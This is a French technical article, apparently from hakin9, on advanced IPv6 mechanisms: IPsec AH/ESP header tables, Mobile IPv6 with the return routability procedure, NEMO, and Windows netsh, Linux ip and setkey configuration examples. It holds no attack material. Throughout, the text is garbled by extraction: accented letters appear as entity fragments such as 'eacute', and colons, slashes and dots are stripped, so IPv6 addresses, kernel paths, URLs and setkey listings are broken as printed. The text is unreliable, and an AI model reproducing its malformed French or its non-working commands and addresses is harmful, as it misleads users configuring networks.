table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

